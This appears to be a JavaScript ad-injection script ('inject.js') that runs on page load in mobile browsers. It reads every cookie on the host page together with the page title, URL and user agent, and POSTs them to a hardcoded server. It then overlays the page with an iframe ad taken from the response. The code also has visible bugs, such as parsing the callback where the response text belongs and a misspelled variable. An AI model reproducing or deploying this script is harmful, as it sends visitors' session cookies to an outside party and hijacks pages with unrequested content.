123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152 |
- window.SpecInject = {};
- (function(){
- //Change File Name
- var protocol = ('https:'==window.location.protocol)?'https://':'http://';
- var requestURL = protocol+'192.168.31.210:8000/post';
- var __FILENAME__ = 'inject.js'
- var __FILE__, scripts = document.getElementsByTagName("script");
- for(var i=0;i<scripts.length;i++){
- var src =scripts.item(i).getAttribute("src");
- if(src&&src.match(__FILENAME__)){
- __FILE__=src;break;
- }
- }
- if(!__FILE__) return;
- var attribute = __FILE__.split('?')[1];
- if(!attribute) return;
- attribute = attribute.split('&');
- var tmpObj = {};
- for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
- //Params
- var ADID = tmpObj['mediakey'],
- ADTYPE = tmpObj['type'],
- ADPos = Number(tmpObj['position']),ADRatio=6.4,ADURL;
- if(!ADID || !ADTYPE) return;
- var browser={
- versions:function(){
- var u = navigator.userAgent, app = navigator.appVersion;
- return {
- mobile: !!u.match(/AppleWebKit.*Mobile.*/),
- ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
- android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1,
- iPhone: u.indexOf('iPhone') > -1,
- iPad: u.indexOf('iPad') > -1,
- webApp: u.indexOf('Safari') == -1,
- weixin: u.indexOf('MicroMessenger') > -1,
- version:u.match(/Version\/(\d+\.+\d+)/)[1]
- };
- }(),
- language:(navigator.browserLanguage || navigator.language).toLowerCase()
- }
- if(!browser.versions.mobile) return;
- var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');
- var xmlhttp;
- xmlhttp = new XMLHttpRequest();
- var getJSADParam = {
- mediatitle:document.querySelector('title').innerHTML,
- mediakeyword:keywords?keywords.getAttribute('content'):'',
- mediaurl:window.location.href,
- mediakey:ADID,
- tertype:browser.versions.ios?1:browser.versions.android?0:2,
- useragent:navigator.userAgent,
- browserversion:browser.versions.version,
- browserlanguage:browser.language,
- cookies:JSON.stringify(getCookies())
- }
- function parseData(obj){
- var formData = new FormData();
- for(var attr in obj){
- formData.append(attr,obj[attr]);
- }
- return formData;
- }
- function getADHandler(data){
- if(data.status!=1) return;
- data = data.data;
- if(!data.adurl) return;
- ADURL = data.adurl;
- ADRatio = data.ratio;
- var opt = getTypeOption();
- var style = document.createElement('style');
- style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
- var script = document.createElement('script');
- script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
- var doms = document.createElement('div');
- doms.id = '__ADInject__';
- doms.setStyle = opt.style;
- doms.className = opt.class;
- doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+ADURL+'" />';
- document.body.appendChild(style);
- document.body.appendChild(script);
- document.body.appendChild(doms);
- }
- function getTypeOption(){
- var opt = {style:''};
- switch(ADTYPE){
- case 'banner':
- opt.class = ADPos=='1'?'top':'bottom';
- opt.width = document.body.clientWidth;
- break;
- case 'spot_rect':
- case 'spot_rounded_rect':
- opt.class = 'spot'+ADTYPE=='spot_rounded_rect'?' radius':'';
- opt.width = document.body.clientWidth-40;
- }
- opt.height = opt.width/ADRatio;
- opt.style = 'width:'+opt.width+';height:'+opt.height;
- return opt;
- }
- //Ajax Post
- function post(URL,data,callback){
- xmlhttp.open("POST",URL);
- xmlhttp.onreadystatechange = function() {
- if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
- var reponse = null;
- if(xmlhttp.responseText){
- try{
- response = JSON.parse(callback);
- }catch(e){log(e)}
- }
- callback(response);
- }
- }
- xmlhttp.send(data);
- }
- //COOKIES get & set
- function getCookie(c_name){
- if (document.cookie.length>0){
- c_start=document.cookie.indexOf(c_name + "=");
- if (c_start!=-1){
- c_start=c_start + c_name.length+1;
- c_end=document.cookie.indexOf(";",c_start);
- if (c_end==-1) c_end=document.cookie.length;
- return unescape(document.cookie.substring(c_start,c_end));
- }
- }
- return null;
- }
- function getCookies(){
- var obj = {};
- if (document.cookie.length>0){
- var cookie = document.cookie.split('; ');
- for(var i in cookie){
- var par = cookie[i].split('=');
- obj[par[0]] = par[1];
- }
- }
- return obj;
- }
- function setCookie(c_name,c_value,c_exp){
- var exp = c_exp?';expires='+c_exp:'';
- document.cookie = c_name+'='+c_value+exp+';path=/';
- }
- post(requestURL,parseData(getJSADParam),getADHandler);
- window.SpecInject.prototype.feedback = function(action){
- }
- })();
|